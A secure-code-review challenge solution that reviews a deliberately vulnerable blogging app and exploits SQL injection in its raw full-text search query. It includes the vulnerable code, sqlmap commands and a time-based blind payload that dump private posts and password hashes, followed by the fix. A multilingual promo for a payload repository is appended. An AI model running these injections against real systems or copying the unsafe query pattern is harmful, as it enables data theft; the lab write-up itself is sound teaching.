The Secure Code Review Challenge — Solution #7: Blogger (One Raw Query Is All It Takes)
Blogger gets almost everything right: every edit and delete checks who owns the post, the database layer uses the Knex query builder (so values are sent as bound parameters), Nunjucks escapes everything it renders, passwords are hashed with bcrypt, and the session cookie is SameSite=Lax.
It still lets anyone on the internet, without an account, read every private post and dump the users table. The way in is the search box.
This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit (with sqlmap doing the heavy lifting), and the fix. Every code snippet you need is included, so you don't have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context.
🎥 Prefer video? The full walkthrough is on YouTube:
{% embed youtu.be %}
---
What is the Secure Code Review Challenge?
It's a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you'd review a real codebase, then compare your reasoning with the published solution.
Every solution follows the same 7-step methodology:
1. 🗺️ Understand the application: architecture and main user stories
2. 🚪 Identify entry points: where user input comes in
3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …)
4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection)
5. 🔍 Review mitigations: which threats are actually closed, and which aren't
6. 🧪 Exploit: prove the unmitigated one is real
7. 🛠️ Fix: a primary fix plus defense-in-depth
📌 Repo: mohamed-osama-aboelkheir/the-secure-code-review-challenge
📌 Challenge #7 source: github.com/mohamed-osama-aboelkheir/the-secure-co…
> ⚠️ Spoiler warning: if you want to try Blogger yourself first, stop here and come back later.
---
1. 🗺️ Understanding the application
Blogger is a small multi-user blogging platform. You sign up, write posts, mark some of them private, and search everything you're allowed to see.
- Backend: Express.js 5 (Node)
- Frontend: server-rendered HTML pages using the Nunjucks templating engine, served by the same Express app
- Database: PostgreSQL, accessed through the Knex query builder
- Auth: JWTs, sent either as a bearer header (JSON API) or in an httpOnly cookie (web UI)
The README makes one security promise, and it explicitly includes search:
> "A private post is visible, editable, and deletable only by its author — everyone else should be denied."
> "A full-text search feature ranks posts by relevance. Results must respect privacy: you should see public posts plus your own private ones, and nobody else's private posts."
The whole review comes down to whether that promise holds.
A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: what happens when it starts, and what happens when a user registers, reads, writes and searches posts.
🚀 Story 1: what happens when the app starts
docker-compose.yml starts two containers: a stock postgres:16 and the app. Note the database user, because it matters later. The official postgres image creates POSTGRES_USER as a superuser, and the app connects as that same user:
postgres:
image: postgres:16
environment:
POSTGRES_DB: blogger_db
POSTGRES_USER: blogger_user
POSTGRES_PASSWORD: blogger_password
...
app:
build: .
environment:
DATABASE_URL: postgres://blogger_user:blogger_password@postgres:5432/blogger_db
docker-compose.yml#L1-L35
The Dockerfile installs the dependencies and runs node app.js. In app.js, the app configures Nunjucks with autoescaping on (an XSS defense we'll come back to), registers the body and cookie parsers, and mounts three routers:
const env = nunjucks.configure(viewsPath, {
autoescape: true,
express: app,
noCache: process.env.NODE_ENV !== 'production'
});
...
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());
app.use('/', optionalAuth, pagesRoutes);
app.use('/api/auth', authRoutes);
app.use('/api/posts', optionalAuth, postsRoutes);
app.js#L22-L37
The pages and the posts API both sit behind optionalAuth. That makes sense, because anonymous visitors can still read public posts. The middleware reads a JWT from the Authorization header or the token cookie, verifies it, loads the user from the database and sets req.user. If there's no valid token, it just moves on and leaves req.user empty:
const optionalAuth = async (req, res, next) => {
...
let token = null;
const authHeader = req.headers.authorization;
if (authHeader && authHeader.startsWith('Bearer ')) {
token = authHeader.slice(7);
} else if (req.cookies && req.cookies.token) {
token = req.cookies.token;
}
if (!token) return next();
try {
const decoded = jwt.verify(token, secret);
const user = await db.findUserById(decoded.userId);
if (user) {
req.user = { id: user.id, username: user.username, email: user.email };
}
} catch (_) {}
next();
};
src/middleware/auth.js#L52-L76
So authentication is decided per handler, not by the middleware: every route that needs a logged-in user has to check req.user itself.
All database access goes through one class, DatabaseStore in src/store/database.js, built on Knex. Both the JSON API and the HTML pages call the same store. The README calls them "the same data seen two ways".
🔄 Story 2: register → read → write → search
Register and log in. Registration hashes the password with bcrypt (cost 10), creates the user and issues a JWT:
const saltRounds = 10;
const passwordHash = await bcrypt.hash(password, saltRounds);
const user = await db.createUser(username, email, passwordHash);
...
const token = issueToken(user);
if (isWebForm(req)) {
res.cookie('token', token, cookieOptions);
return res.redirect('/my-posts');
}
src/routes/auth.js#L58-L72
When the request comes from the web form, the token goes into a cookie with these options:
const cookieOptions = {
httpOnly: true,
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/',
sameSite: 'lax'
};
src/routes/auth.js#L21-L26
Read the feed. The feed query is built with the Knex builder, and the privacy rule ("public, or mine") is part of the WHERE clause:
async getFeedPosts(userId, limit = 50) {
const q = knex('posts as p')
.join('users as u', 'p.user_id', 'u.id')
.orderBy('p.created_at', 'desc')
.limit(limit)
.select('p.*', 'u.username as author_username');
if (userId) {
q.where((builder) => {
builder.where('p.is_private', false).orWhere('p.user_id', userId);
});
} else {
q.where('p.is_private', false);
}
...
}
src/store/database.js#L66-L81
Read a single post. This one fetches the post by ID first, then checks privacy on the result:
const post = await db.getPostById(req.params.id);
if (!post) return res.status(404).json({ error: 'Post not found' });
if (post.isPrivate && (!req.user || req.user.id !== post.userId)) {
return res.status(403).json({ error: 'Access denied' });
}
src/routes/posts.js#L49-L53
Write, edit, delete. Every mutating handler follows the same pattern: require a login, load the post, compare owners:
router.patch('/:id', async (req, res) => {
...
if (!req.user) return res.status(401).json({ error: 'Authentication required' });
...
const existing = await db.getPostById(req.params.id);
if (!existing) return res.status(404).json({ error: 'Post not found' });
if (existing.userId !== req.user.id) {
return res.status(403).json({ error: 'Access denied' });
}
src/routes/posts.js#L78-L86
…and the store scopes the write by owner a second time:
const updated = await knex('posts')
.where({ id: postId, user_id: userId })
.update({ ...data, updated_at: knex.fn.now() })
src/store/database.js#L101-L110
Search. The search route takes q from the query string and passes it to the store, along with the user ID if someone is logged in. No login is required:
router.get('/search', async (req, res) => {
...
const q = req.query.q;
const userId = req.user ? req.user.id : null;
const posts = await db.searchPosts(q, userId);
res.json({ posts });
src/routes/posts.js#L33-L39
The web UI has the same thing at GET /search (pages.js#L48-L59).
searchPosts uses PostgreSQL full-text search (to_tsvector, plainto_tsquery, ts_rank) to rank results by relevance. These functions aren't first-class in the Knex builder, so this is the only query in the store that's written by hand and passed to knex.raw. We'll look at it closely in step 4/5.
🧠 The key observation from step 1
Every query in the app goes through the Knex builder except one:
getFeedPosts → knex('posts').where(...) builder ✔
getPostById → knex('posts').where(...) builder ✔
updatePost → knex('posts').where(...) builder ✔
deletePost → knex('posts').where(...) builder ✔
searchPosts → knex.raw(`...`) hand-written SQL ⚠️
Knex keeps you safe from SQL injection only as long as values go through it as bindings. The one place the developer stepped outside the builder is the place to slow down.
---
2. 🚪 Entry points
Auth API
- POST /api/auth/register: public, takes username, email, password, web
- POST /api/auth/login: public, takes username, password, web
Posts API
- GET /api/posts/feed: optional auth, no other input
- GET /api/posts/mine: login required, no other input
- GET /api/posts/search?q=: optional auth, takes q
- GET /api/posts/:id: optional auth (private posts → owner only), takes id
- POST /api/posts: login required, takes title, body, is_private
- PATCH /api/posts/:id: owner only, takes id, title, body, is_private
- DELETE /api/posts/:id: owner only, takes id
Web UI
- GET /, GET /my-posts, GET /login, GET /register, GET /logout: an error query parameter on login/register
- GET /search?q=: optional auth, takes q
- GET /posts/new, GET /posts/:id, GET /posts/:id/edit, GET /posts/:id/delete: take id
- POST /posts, POST /posts/:id, POST /posts/:id/delete: form fields title, body, is_private
On every request: the Authorization header and the token cookie.
3. 🎯 Dangerous sinks
- S1: SQL queries built with the Knex query builder → SQL injection. Fed from usernames, emails, post fields, :id and the JWT's userId.
- S2: raw SQL passed to knex.raw (full-text search) → SQL injection. Fed from q.
- S3: HTML rendering with Nunjucks → XSS. Fed from post titles and bodies, usernames, the search term and the error query parameter.
- S4: redirects (/posts/${post.id}, /register?error=…) → open redirect.
---
4 & 5. 🧩 Threat model & 🔍 mitigation review
🔓 Business logic
Missing authentication on mutating routes ✅. Since optionalAuth never blocks, each handler has to check for itself. Every POST, PATCH and DELETE on /api/posts starts with if (!req.user) return 401 (posts.js#L63, #L80, #L103), and every mutating page handler redirects to /login.
IDOR on edit and delete ✅. Every handler compares existing.userId !== req.user.id before acting, and the store scopes the write with .where({ id: postId, user_id: userId }) too. That's two layers of defense.
Private posts leaking through reads ✅ (on paper). There are three ways to read posts, and each one enforces "public, or mine":
- Single post: fetched by ID, then checked on the result (post.isPrivate && req.user.id !== post.userId → 403).
- Feed: the privacy rule is in the Knex builder's WHERE.
- Search: the hand-written SQL has the same rule, WHERE (p.is_private = false OR p.user_id = ?). Keep this one in mind: the rule is only as strong as the SQL string it lives in.
Mass assignment ✅. Can I create or edit a post so it looks like someone else wrote it? Only if user_id can come from the request. It can't: create and update copy only title, body and is_private from the body, and the owner always comes from req.user.id:
const { title, body, is_private: isPrivate } = req.body;
const updates = {};
if (title !== undefined) updates.title = title;
if (body !== undefined) updates.body = body;
if (isPrivate !== undefined) updates.is_private = isPrivate;
src/routes/posts.js#L87-L91
CSRF ✅. The web UI uses cookie auth and plain HTML form POSTs with no CSRF token. The control here is the cookie's sameSite: 'lax': per MDN, the browser doesn't send a Lax cookie on cross-site POSTs, so a form forged on another site arrives unauthenticated. That's good enough in modern browsers, with the caveat that SameSite works per site, so a sibling subdomain isn't stopped (OWASP treats it as defense in depth).
JWT and password weaknesses ✅. Tokens are signed and verified with the secret. With jsonwebtoken 9.x, unsigned alg: none tokens are refused by default, and the HMAC secret can't be swapped for a public key (v9 migration notes). The user is reloaded from the database on every request, and passwords are hashed with bcrypt.
💉 Source-to-sink
S3, XSS ✅. Every value reaches the templates through {{ … }}, and autoescape: true makes Nunjucks HTML-escape & < > " '. That covers both element content (<p>{{ post.body }}</p>) and the quoted attribute in the search box (value="{{ query }}"). No template uses the | safe filter to turn escaping off.
S4, open redirect ✅. An open redirect needs the destination to come from user input. Every redirect here goes to a hard-coded relative path (/login, /my-posts, /posts/<id>). The only user-controlled part is a post ID, which has to exist and pass the owner check first, and since posts.id is an integer column, //evil.com fails in Postgres before the redirect is ever reached.
S1, SQL injection through the Knex builder ✅. .where('p.id', postId), .insert({...}), .update({...}): the builder sends every value as a bound parameter, never as SQL text.
S2, SQL injection in the raw full-text search query ❌. Here's the query:
async searchPosts(query, userId) {
if (!query || typeof query !== 'string') {
return this.getPublicPosts(20);
}
const uid = userId || null;
const sql = `
SELECT p.*, u.username AS author_username
FROM posts p
JOIN users u ON p.user_id = u.id
WHERE (p.is_private = false OR p.user_id = ?)
AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}')
ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC
LIMIT 50
`;
const result = await knex.raw(sql, [uid]);
...
}
src/store/database.js#L117-L134
Look at the two values in it:
- The user ID is a ? placeholder, passed to knex.raw in the bindings array. That's safe.
- The search term is pasted in with a JavaScript template literal, '${query}', twice. JavaScript substitutes it before Knex ever sees the string, so to knex.raw it's indistinguishable from SQL the developer wrote. Knex's raw docs are clear that only ? bindings are escaped.
The only check on q is typeof query !== 'string', which stops arrays and objects but not quotes. And the privacy rule (p.is_private = false OR p.user_id = ?) is in the same SQL string, so anyone who can inject SQL there can override it.
> 💡 Reviewer's lesson: a safe library protects only the queries that go through it. Hunt for the escape hatches (raw, whereRaw, orderByRaw), and in each one check that every value is a binding, not just the one that looks like it was done right. Unusual features, like full-text or vector search, are exactly where developers step off the safe path.
---
6. 🧪 Exploitation
Why the classic payload fails
The textbook test is x') OR 1=1 --. Here it returns a 500:
$ curl -s -G http://localhost:3000/api/posts/search --data-urlencode "q=x') OR 1=1 --"
{"error":"Internal server error"}
The app log shows why. The term lands in two places. The payload closes the first one cleanly, but the -- comment in the second one swallows the closing brackets of the ORDER BY:
ORDER BY ts_rank(to_tsvector(...), plainto_tsquery('english', 'x') OR 1=1 --')) DESC
LIMIT 50
- syntax error at or near "LIMIT"
A 500 doesn't mean "not exploitable". It means the payload has to be valid SQL in both places. You don't need to be an expert at building SQL injection payloads to get there, because you can automate it.
The setup
A victim, Alice, has a public post and a private one. Bob has a weak password:
B=http://localhost:3000/api
curl -s -X POST $B/auth/register -H Content-Type:application/json \
-d '{"username":"alice","email":"alice@example.com","password":"alicepass123"}'
A=$(curl -s -X POST $B/auth/login -H Content-Type:application/json \
-d '{"username":"alice","password":"alicepass123"}' | jq -r .token)
curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \
-d '{"title":"Hello world","body":"My first public post on Blogger."}'
curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \
-d '{"title":"Acquisition plans","body":"Secret: we are buying Initech next quarter.","is_private":true}'
curl -s -X POST $B/auth/register -H Content-Type:application/json \
-d '{"username":"bob","email":"bob@example.com","password":"password"}'
Control: the private post is protected everywhere else:
$ curl -s $B/posts/2
{"error":"Access denied"}
$ curl -s -G $B/posts/search --data-urlencode "q=acquisition"
{"posts":[]}
Every command below runs without any token or cookie. The attacker doesn't need an account.
Step 1: let sqlmap find a payload that works
sqlmap tries hundreds of payloads until one works:
$ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \
--dbms=PostgreSQL --batch --time-sec 1 --is-dba
...
[10:20:49] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be SQL injectable
...
[10:20:55] [INFO] GET parameter 'q' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
...
Parameter: q (GET)
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: q=1'||(SELECT (CHR(89)||CHR(114)||CHR(84)||CHR(66)) WHERE 3661=3661 AND 7927=(SELECT 7927 FROM PG_SLEEP(1)))||'
---
back-end DBMS: PostgreSQL
current user is DBA: True
[10:21:08] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 584 times
What the options do:
- -u "…/search?q=1": the target URL, with a normal value for the parameter
- -p q: test only the q parameter
- --level=5 --risk=3: try sqlmap's full set of payloads, including the heavier ones
- --dbms=PostgreSQL: skip payloads for other databases (we know it's Postgres from docker-compose.yml)
- --batch: accept the default answer to every prompt
- --time-sec 1: how long the database sleeps for a "yes" (the default is 5)
- --is-dba: check whether the database user is a superuser
How to read the output:
- "might not be SQL injectable": sqlmap's quick first check looks for a database error in the page and finds none, because the app hides errors behind a generic 500. A manual tester could stop here. sqlmap keeps going.
- 584 × 500 errors: most payloads break the SQL, partly because the term lands twice.
- The payload that works doesn't break out of the string. It glues a sub-query onto it with Postgres's || (string concatenation), so the quotes stay balanced and it's valid SQL in both places. The sub-query makes the database sleep when a condition is true.
- Time-based blind: the search results never visibly change, so sqlmap asks yes/no questions ("is the first letter of the first username a?") and times each response. A 1-second delay means yes. It's slow, but it's fully automatic. (PortSwigger explains the technique.)
- current user is DBA: True: the app connects as the superuser the postgres image created, so the injection has full database privileges.
If you want to understand how payloads like these are built, PayloadsAllTheThings' PostgreSQL injection page is a good reference.
Step 2: read Alice's private post
$ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \
--dbms=PostgreSQL --batch --time-sec 1 \
--dump -D public -T posts -C title,body --where "is_private=true"
...
Database: public
Table: posts
+-------------------+---------------------------------------------+
| title | body |
+-------------------+---------------------------------------------+
| Acquisition plans | Secret: we are buying Initech next quarter. |
+-------------------+---------------------------------------------+
Step 3: dump the users table
$ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \
--dbms=PostgreSQL --batch --time-sec 1 \
--dump -D public -T users -C username,password_hash
...
+----------+--------------------------------------------------------------+
| username | password_hash |
+----------+--------------------------------------------------------------+
| alice | $2b$10$b8z56oJRF405TWLN.HiFQuG1LnkzyUOpCJ9rxbWzsj80y81l6rn0K |
| bob | $2b$10$/J2pPyfEzeISVD3fbQ77IutnM6iYAtQLb.ot6ugiSSehKaNMj4Tme |
+----------+--------------------------------------------------------------+
sqlmap also offers a dictionary attack on the hashes it dumps. Bob's weak password (password) falls straight away. Alice's isn't in the wordlist, so her hash holds: bcrypt buys time, but only for passwords that aren't common.
Impact: anyone on the internet, with no account, can read every private post, every username, email and password hash, and anything else in the database. Because the connection is a superuser, superuser-only functions like pg_read_file are available to the attacker too.
Classification: SQL Injection, CWE-89, leading to a bypass of the privacy rule (CWE-639-style impact) and exposure of the users table.
---
7. 🛠️ The fix
Primary fix: bind the search term instead of interpolating it. Replace both '${query}' with ? and pass the term in the bindings array, once for each placeholder:
const sql = `
SELECT p.*, u.username AS author_username
FROM posts p
JOIN users u ON p.user_id = u.id
WHERE (p.is_private = false OR p.user_id = ?)
- AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}')
- ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC
+ AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?)
+ ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC
LIMIT 50
`;
- const result = await knex.raw(sql, [uid]);
+ const result = await knex.raw(sql, [uid, query, query]);
With the fix, sqlmap's sleep payload becomes plain search text and returns instantly:
"hello" -> [{"id":1,"title":"Hello world"}] (63 ms)
"1'||(SELECT 'x' FROM PG_SLEEP(3))||'" -> [] (1 ms)
"acquisition" -> [] (1 ms) (anonymous caller: the private post stays hidden)
plainto_tsquery is the right function for user text, because it parses free text and ignores operators. Once the value is bound, there's nothing left to inject.
Even better: keep the query in the builder and only drop to raw SQL for the full-text expression, with bindings. The privacy filter then looks exactly like the feed's:
knex('posts as p')
.join('users as u', 'p.user_id', 'u.id')
.where((b) => { b.where('p.is_private', false); if (uid) b.orWhere('p.user_id', uid); })
.whereRaw(`to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?)`, [query])
.orderByRaw(`ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC`, [query])
.limit(50)
.select('p.*', 'u.username as author_username');
Defense-in-depth (do these too):
1. Use a least-privilege database role. Don't connect as the superuser. An app role with only SELECT/INSERT/UPDATE/DELETE on users and posts limits what any injection can do.
2. Enforce privacy in the database with PostgreSQL Row-Level Security on posts, so a single buggy query can't return someone else's private rows.
3. Ban template literals in raw SQL with a lint or SAST rule, e.g. a custom Semgrep rule matching ` knex.raw(...${$X}...) and whereRaw(...${$X}...) ` in CI. In the video, Semgrep's default rules didn't flag this one, so you'd need a custom rule.
4. Cap the length of q and reject control characters. It's cheap, and it shrinks what any future bug can do.
5. Keep database errors generic (already done here), and alert on SQL syntax errors in the logs. The failed OR 1=1 -- attempts are a loud signal.
---
🌍 Real-world examples
- Pre-Auth SQL Injection to RCE: Fortinet FortiWeb Fabric Connector (CVE-2025-25257) (watchTowr Labs). The researchers diffed two FortiWeb versions and found the fix had replaced a string-formatted query ("... where token='%s'") with a prepared statement. The input came from the Authorization: Bearer header on an endpoint that needs no login. Like Blogger's double insertion, the obvious payloads didn't work at first (no spaces, 128-character limit), so they adapted. Because the database ran with high privileges, they wrote a file to disk and got remote code execution.
- Bypassing airport security via SQL injection (Ian Carroll & Sam Curry). A single ' in the FlyCASS login form returned a MySQL error. They confirmed the injection with sqlmap, logged in as an airline admin and added a made-up crew member who was approved for the programs that let crew skip airport security screening. It's a different query, with the same root cause: user input pasted into a SQL string.
📚 More resources
- OWASP SQL Injection Prevention Cheat Sheet
- OWASP Query Parameterization Cheat Sheet
- Knex: raw queries & bindings
- PostgreSQL: Row Security Policies
- sqlmap and its usage wiki
- PortSwigger Web Security Academy: SQL injection and Blind SQL injection
---
🎯 Takeaway
A query builder doesn't make an app injection-proof. It only protects the queries that go through it. Blogger had dozens of safe queries and one hand-written search query, and that one was enough to read the whole database. Find the escape hatches (raw, whereRaw, orderByRaw) and check that every value in them is a binding.
And when an injection "only errors", don't call it safe. Here the obvious test returned a 500, yet sqlmap turned it into a full database read without a single hand-written payload.
---
🔔 What's next
Challenge #8: Employee Directory is live now. Can you find the bug before the solution drops?
👉 github.com/mohamed-osama-aboelkheir/the-secure-co…
New challenges land every two weeks, and each drop includes the previous challenge's solution. Watch the repo (Watch → Custom → Releases) to get notified, and subscribe to AppSec Untangled on YouTube for the video walkthroughs.
If you found the bug yourself, or took a different route to it, tell me in the comments 👇
Payloads All The Things
Struggling with web application security testing? Payloads All The Things is an open-source resource that lists useful payloads and bypasses for penetration testing. It has over 81.8K stars on GitHub, making it a popular choice for tools to streamline your security assessments.
#websecurity #pentest #cybersecurity #bugbounty #opensource
Follow for more AI, automation, and open-source tools you can actually use.
Link:
swisskyrepo/payloadsallthethings
[ar] كل ما يخص حمولات الاختبار البرمجية
هل تواجه صعوبة في اختبار أمان تطبيقات الويب؟ Payloads All The Things هو مصدر مفتوح المصدر يُدرج حمولات وثغرات مفيدة لاختبار الاختراق. حاز على أكثر من 81.8 ألف نجمة على GitHub، مما يجعله خيارًا شائعًا لأدوات تُسهّل عمليات تقييم الأمان.
#أمان_الويب #اختبار_الاختراق #الأمن_السيبراني #مكافآت_الثغرات #مفتوح_المصدر
تابعنا للمزيد من أدوات الذكاء الاصطناعي والأتمتة والمصادر المفتوحة التي يمكنك استخدامها فعليًا.
الرابط:
swisskyrepo/payloadsallthethings
[bn] পেলোডস অল দ্য থিংস
ওয়েব অ্যাপ্লিকেশন নিরাপত্তা পরীক্ষা করতে হিমশিম খাচ্ছেন? Payloads All The Things হলো একটি ওপেন-সোর্স রিসোর্স, যেখানে পেনিট্রেশন টেস্টিংয়ের জন্য দরকারি পেলোড এবং বাইপাসের তালিকা দেওয়া আছে। গিটহাবে এর ৮১.৮ হাজারের বেশি স্টার রয়েছে, যা আপনার নিরাপত্তা মূল্যায়নকে সহজ করার জন্য এটিকে একটি জনপ্রিয় টুল হিসেবে প্রতিষ্ঠিত করেছে।
#websecurity #pentest #cybersecurity #bugbounty #opensource
আরও AI, অটোমেশন এবং ওপেন-সোর্স টুলের জন্য ফলো করুন যা আপনি সত্যিই ব্যবহার করতে পারবেন।
লিঙ্ক:
swisskyrepo/payloadsallthethings
[de-DE] Nutzlasten Alle Dinge
Haben Sie Probleme mit Sicherheitstests für Webanwendungen? Payloads All The Things ist eine Open-Source-Ressource mit nützlichen Payloads und Bypass-Methoden für Penetrationstests. Mit über 81.800 Sternen auf GitHub ist sie eine beliebte Wahl für Tools, die Ihre Sicherheitsbewertungen optimieren.
#Websicherheit #Penetrationstest #Cybersicherheit #BugBounty #OpenSource
Folgen Sie uns für weitere KI-, Automatisierungs- und Open-Source-Tools, die Sie tatsächlich nutzen können.
Link:
swisskyrepo/payloadsallthethings
[es-US] Payloads All The Things
¿Tienes problemas con las pruebas de seguridad de aplicaciones web? Payloads All The Things es un recurso de código abierto que enumera payloads y evasiones útiles para pruebas de penetración. Cuenta con más de 81.800 estrellas en GitHub, lo que la convierte en una opción popular para optimizar tus evaluaciones de seguridad.
#seguridadweb #pentest #ciberseguridad #bugbounty #códigoabierto
Síguenos para descubrir más herramientas de IA, automatización y código abierto que puedes usar.
Enlace: swisskyrepo/payloadsallthethings
[fr-FR] Payloads All The Things
Vous rencontrez des difficultés avec les tests de sécurité des applications web ? Payloads All The Things est une ressource open source qui répertorie des payloads et des techniques de contournement utiles pour les tests d'intrusion. Avec plus de 81 800 étoiles sur GitHub, c'est un outil populaire pour simplifier vos évaluations de sécurité.
#websecurity #pentest #cybersecurity #bugbounty #opensource
Suivez-nous pour découvrir d'autres outils d'IA, d'automatisation et open source vraiment utiles.
Lien :
swisskyrepo/payloadsallthethings
[hi] Payloads All The Things
वेब एप्लिकेशन सुरक्षा परीक्षण में कठिनाई हो रही है? Payloads All The Things एक ओपन-सोर्स संसाधन है जो पेनिट्रेशन टेस्टिंग के लिए उपयोगी पेलोड और बाईपास की सूची देता है। GitHub पर इसके 81.8K से अधिक स्टार हैं, जो इसे सुरक्षा आकलन को सुव्यवस्थित करने वाले उपकरणों में एक लोकप्रिय विकल्प बनाते हैं।
#वेबसुरक्षा #पेनटेस्ट #साइबरसुरक्षा #बगबाउंटी #ओपनसोर्स
अधिक उपयोगी AI, ऑटोमेशन और ओपन-सोर्स टूल के लिए फॉलो करें।
लिंक:
swisskyrepo/payloadsallthethings
[id] Payloads All The Things
Kesulitan dalam pengujian keamanan aplikasi web? Payloads All The Things adalah sumber daya open-source yang mencantumkan payload dan bypass yang berguna untuk pengujian penetrasi. Sumber daya ini memiliki lebih dari 81,8 ribu bintang di GitHub, menjadikannya pilihan populer untuk alat-alat yang dapat menyederhanakan penilaian keamanan Anda.
#websecurity #pentest #cybersecurity #bugbounty #opensource
Ikuti untuk mendapatkan lebih banyak alat AI, otomatisasi, dan open-source yang benar-benar dapat Anda gunakan.
Tautan:
swisskyrepo/payloadsallthethings
[it] Payloads All The Things
Hai difficoltà con i test di sicurezza delle applicazioni web? Payloads All The Things è una risorsa open source che elenca payload e bypass utili per i penetration test. Con oltre 81.800 stelle su GitHub, è uno strumento molto apprezzato per semplificare le valutazioni di sicurezza.
#websecurity #pentest #cybersecurity #bugbounty #opensource
Seguici per scoprire altri strumenti di intelligenza artificiale, automazione e open source che puoi effettivamente utilizzare.
Link:
swisskyrepo/payloadsallthethings
[iw] Payloads All The Things
מתקשים בבדיקות אבטחה של יישומי אינטרנט? Payloads All The Things הוא משאב קוד פתוח המפרט מטענים ומעקפים שימושיים לבדיקות חדירה. יש לו מעל 81.8 אלף כוכבים ב-GitHub, מה שהופך אותו לבחירה פופולרית עבור כלים לייעול הערכות האבטחה שלך.
#אבטחת_אינטרנט #בדיקת_חדירה #אבטחת_סייבר #באגים_באג #קוד_פתוח
עקבו אחרינו לעוד כלים של בינה מלאכותית, אוטומציה וקוד פתוח שתוכלו להשתמש בהם בפועל.
קישור:
swisskyrepo/payloadsallthethings
[ja] Payloads All The Things
Webアプリケーションのセキュリティテストでお困りですか?Payloads All The Thingsは、ペネトレーションテストに役立つペイロードやバイパスをリストアップしたオープンソースのリソースです。GitHubで81,800以上のスターを獲得しており、セキュリティ評価を効率化するツールとして人気を集めています。
#websecurity #pentest #cybersecurity #bugbounty #opensource
AI、自動化、そして実際に使えるオープンソースツールをもっと知りたい方は、ぜひフォローしてください。
リンク:
swisskyrepo/payloadsallthethings
[ko] 페이로드 모든 것
웹 애플리케이션 보안 테스트에 어려움을 겪고 계신가요? Payloads All The Things는 침투 테스트에 유용한 페이로드와 우회 방법을 제공하는 오픈 소스 리소스입니다. GitHub에서 81,800개 이상의 별을 획득하며 보안 평가 프로세스를 간소화하는 데 널리 사용되고 있습니다.
#웹보안 #침투테스트 #사이버보안 #버그바운티 #오픈소스
더 많은 AI, 자동화 및 실제로 사용할 수 있는 오픈 소스 도구를 보려면 팔로우하세요.
링크:
swisskyrepo/payloadsallthethings
[ml] Payloads All The Things
വെബ് ആപ്ലിക്കേഷൻ സുരക്ഷാ പരിശോധനയിൽ ബുദ്ധിമുട്ടുന്നുണ്ടോ? പേലോഡുകൾ ഓൾ ദി തിംഗ്സ് എന്നത് പെനട്രേഷൻ ടെസ്റ്റിംഗിനായി ഉപയോഗപ്രദമായ പേലോഡുകളും ബൈപാസുകളും പട്ടികപ്പെടുത്തുന്ന ഒരു ഓപ്പൺ സോഴ്സ് റിസോഴ്സാണ്. ഇതിന് GitHub-ൽ 81.8K-ലധികം നക്ഷത്രങ്ങളുണ്ട്, ഇത് നിങ്ങളുടെ സുരക്ഷാ വിലയിരുത്തലുകൾ കാര്യക്ഷമമാക്കുന്നതിനുള്ള ഉപകരണങ്ങൾക്കുള്ള ഒരു ജനപ്രിയ തിരഞ്ഞെടുപ്പാക്കി മാറ്റുന്നു.
#websecurity #pentest #cybersecurity #bugbounty #opensource
നിങ്ങൾക്ക് യഥാർത്ഥത്തിൽ ഉപയോഗിക്കാൻ കഴിയുന്ന കൂടുതൽ AI, ഓട്ടോമേഷൻ, ഓപ്പൺ സോഴ്സ് ഉപകരണങ്ങൾക്കായി പിന്തുടരുക.
ലിങ്ക്:
swisskyrepo/payloadsallthethings
[nl-NL] Payloads All The Things
Heeft u moeite met het testen van de beveiliging van webapplicaties? Payloads All The Things is een open-source tool die handige payloads en bypasses voor penetratietesten bevat. Met meer dan 81.800 sterren op GitHub is het een populaire keuze voor tools die uw beveiligingsbeoordelingen stroomlijnen.
#websecurity #pentest #cybersecurity #bugbounty #opensource
Volg ons voor meer AI, automatisering en open-source tools die u daadwerkelijk kunt gebruiken.
Link:
swisskyrepo/payloadsallthethings
[pa] ਪੇਲੋਡਜ਼ ਆਲ ਦਿ ਥਿੰਗਜ਼
